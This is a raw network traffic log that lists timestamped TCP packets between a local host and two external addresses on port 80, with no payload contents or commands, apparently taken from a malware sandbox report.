Dec 27, 2024 08:50:57.059561968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.059587955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.072310925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.072325945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.072340012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.072365046 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.072387934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.072422981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.072629929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.072653055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.072665930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.072676897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.072715044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.072748899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.073431015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.073462009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.073474884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.073477030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.073513031 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.073544979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.074278116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.074322939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.074412107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.115468979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.127994061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.128042936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.128056049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.128087044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.128087044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.128165960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.128197908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.128220081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.128232956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.128262043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.128690958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.128750086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.128762960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.128793955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.128822088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.128824949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.129518032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.129559040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.129570961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.129600048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.129627943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.129993916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.130086899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.130099058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.130140066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.130157948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.130449057 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.130769014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.130815029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.130826950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.130863905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.168945074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.168962002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.168981075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.169028044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.169039965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.169054985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.169063091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.169142008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.169163942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.169784069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.169831991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.169842005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.169845104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.169872046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.169883013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.170535088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.170591116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.170603037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.170613050 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.170660019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.170685053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.171403885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.171420097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.171437025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.171471119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.171494007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.171494007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.172091961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.172138929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.172154903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.172164917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.172214985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.172244072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.172900915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.172960997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.172974110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.172986031 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.173013926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.173027039 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.173683882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.173746109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.173758984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.173816919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.173821926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.173821926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.174469948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.174514055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.174527884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.174612999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.174638987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.175273895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.175337076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.175349951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.175359964 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.175409079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.175432920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.176062107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.176115036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.176127911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.176139116 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.176162004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.176182985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.176892996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.176904917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.176918030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.176934958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.176964998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.176984072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.177635908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.177685022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.177696943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.177706003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.177767038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.177789927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.178412914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.178457975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.178478956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.178493023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.178534985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.178560019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.179202080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.179244041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.179263115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.179285049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.179347992 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.179348946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.180006027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.180080891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.180094004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.180146933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.180154085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.180154085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.180787086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.180835962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.180847883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.180905104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.180905104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.180919886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.181572914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.181647062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.181668997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.224848986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.262439966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.262455940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.262466908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.262479067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.262491941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.262515068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.262573004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.262586117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.262602091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.262991905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.274288893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.274303913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.274317980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.274332047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.274357080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.274401903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.274440050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.274601936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.274952888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.275269032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.275280952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.275353909 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.275403023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.275605917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.275980949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.275994062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.276005983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.276041031 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.276110888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.276407957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.276490927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.321592093 CET	49783	80	192.168.2.6	185.215.113.206
Dec 27, 2024 08:50:57.329354048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.329442024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.329454899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.329577923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.329606056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.329747915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.329761028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.329773903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.329837084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.329837084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.330173016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.330224991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.330339909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.330351114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.330363989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.330418110 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.331021070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.331032991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.331044912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.331073999 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.331135035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.331542015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.331554890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.331567049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.331573009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.331722021 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.332199097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.332214117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.332256079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.332345963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.370657921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.370682955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.370697021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.370713949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.370767117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.370800018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.370877028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.370922089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.370944023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.370958090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.371000051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.371026993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.371630907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.371676922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.371680975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.371695995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.371727943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.371757030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.372384071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.372426987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.372440100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.372452974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.372488022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.372555017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.373178959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.373198986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.373210907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.373219013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.373284101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.373294115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.373950005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.373999119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.374036074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.374048948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.374082088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.374139071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.374739885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.374778986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.374783039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.374798059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.374854088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.374876022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.375560999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.375626087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.375638962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.375660896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.375745058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.375762939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.376305103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.376353025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.376367092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.376388073 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.376424074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.376437902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.377250910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.377300024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.377312899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.377314091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.377382040 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.377456903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.377924919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.377943039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.377954960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.377976894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.378002882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.378020048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.378679991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.378731966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.378751040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.378765106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.378845930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.378870964 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.379461050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.379520893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.379533052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.379604101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.379626036 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.380260944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.380322933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.380337954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.380394936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.380394936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.380414009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.381078005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.381135941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.381148100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.381185055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.381206989 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.381834030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.381908894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.381921053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.381964922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.381964922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.381998062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.382651091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.382671118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.382683039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.382755041 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.382755041 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.441174030 CET	80	49783	185.215.113.206	192.168.2.6
Dec 27, 2024 08:50:57.444858074 CET	49783	80	192.168.2.6	185.215.113.206
Dec 27, 2024 08:50:57.447298050 CET	49783	80	192.168.2.6	185.215.113.206
Dec 27, 2024 08:50:57.461687088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.461710930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.461723089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.461790085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.461816072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.462007046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.462059975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.462073088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.462085962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.462115049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.462141037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.468485117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.475323915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.475393057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.475404024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.475512981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.475526094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.475539923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.475590944 CET	49752	80	192.168.2.6	185.215.113.16
